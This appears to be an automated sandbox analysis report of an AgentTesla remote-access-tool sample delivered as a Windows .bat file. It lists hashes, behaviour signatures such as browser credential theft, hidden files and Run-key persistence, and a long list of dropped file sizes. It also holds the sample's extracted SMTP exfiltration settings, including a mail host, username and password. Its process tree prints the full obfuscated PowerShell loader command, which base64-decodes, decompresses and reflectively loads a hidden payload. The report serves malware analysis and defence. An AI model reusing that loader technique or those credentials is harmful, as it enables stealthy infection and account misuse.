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Analysis
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max time kernel
138s -
max time network
128s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
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submitted
21/08/2024, 11:26
General
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Target
ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat
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Size
1.4MB
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MD5
70b340ae3989a38ceb1545ede320f991
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SHA1
cb35aa2ea5282c6d3f051400466705058890a424
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SHA256
ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8
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SHA512
06c2ad0da9b0bb9c316170c65d0b54a8b0b69ff6c574eb62cb56e0b41b18c12c9d1b7f3eeb0279932e9c44201874f0d76b9d8cc889701578f7e6d1ef4af032c7
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SSDEEP
24576:WYAnya111NrQcqRpa01Y31TGLN051hed0ELLtk1Koe78TYqE:WjyAwc1aLNch8HLG11dY
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
mail.keeptraveling-eg.com - Port:
587 - Username:
[email protected] - Password:
Do76#Zbbdonia - Email To:
[email protected]
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
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Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
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Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
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Executes dropped EXE 1 IoCs
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Adds Run key to start application 2 TTPs 1 IoCs
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Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Suspicious use of SetThreadContext 1 IoCs
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System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Suspicious behavior: EnumeratesProcesses 5 IoCs
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Suspicious use of AdjustPrivilegeToken 3 IoCs
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Suspicious use of WriteProcessMemory 17 IoCs
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Views/modifies file attributes 1 TTPs 1 IoCs
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "3⤵
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C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat.Qks3⤵
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C:\Windows\system32\attrib.exeattrib +s +h C:\Users\Admin\AppData\Local\Temp\ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat.Qks3⤵
- Sets file to hidden
- Views/modifies file attributes
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C:\Users\Admin\AppData\Local\Temp\ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat.QksC:\Users\Admin\AppData\Local\Temp\ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat.Qks -WindowStyle hidden -command "$Tgxjzck = get-content 'C:\Users\Admin\AppData\Local\Temp\ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat' | Select-Object -Last 1; $Sqfmta = [System.Convert]::FromBase64String($Tgxjzck);$Mxcwwsucaf = New-Object System.IO.MemoryStream( , $Sqfmta );$Swnerx = New-Object System.IO.MemoryStream;$Sdlyutgsqdo = New-Object System.IO.Compression.GzipStream $Mxcwwsucaf, ([IO.Compression.CompressionMode]::Decompress);$Sdlyutgsqdo.CopyTo( $Swnerx );$Sdlyutgsqdo.Close();$Mxcwwsucaf.Close();[byte[]] $Sqfmta = $Swnerx.ToArray();[Array]::Reverse($Sqfmta); $Xkoilavqpaz = [System.Threading.Thread]::GetDomain().Load($Sqfmta); $Pfarfm = $Xkoilavqpaz.EntryPoint; [System.Delegate]::CreateDelegate([Action], $Pfarfm.DeclaringType, $Pfarfm.Name).DynamicInvoke() | Out-Null"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
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Filesize
4KB
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Filesize
216KB
-
Filesize
6.2MB
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Filesize
7.7MB
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Filesize
136KB
-
Filesize
408KB
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Filesize
408KB
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Filesize
3.3MB
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Filesize
120KB
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Filesize
304KB
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Filesize
600KB
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Filesize
104KB
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Filesize
136KB
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Filesize
5.6MB
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Filesize
6.5MB
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Filesize
1.1MB
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Filesize
960KB
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Filesize
936KB
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Filesize
936KB
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Filesize
936KB
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Filesize
936KB
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Filesize
936KB
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Filesize
936KB
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Filesize
936KB
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Filesize
936KB
-
Filesize
936KB
-
Filesize
936KB
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Filesize
936KB
-
Filesize
936KB
-
Filesize
936KB
-
Filesize
936KB
-
Filesize
936KB
-
Filesize
936KB
-
Filesize
936KB
-
Filesize
936KB
-
Filesize
936KB
-
Filesize
936KB
-
Filesize
936KB
-
Filesize
936KB
-
Filesize
936KB
-
Filesize
936KB
-
Filesize
936KB
-
Filesize
936KB
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Filesize
936KB
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Filesize
936KB
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Filesize
936KB
-
Filesize
936KB
-
Filesize
936KB
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Filesize
936KB
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Filesize
936KB
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Filesize
7.7MB
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Filesize
304KB
-
Filesize
424KB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
4KB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
336KB
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Filesize
7.7MB
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Filesize
264KB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
320KB
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Filesize
584KB
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Filesize
40KB
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Filesize
7.7MB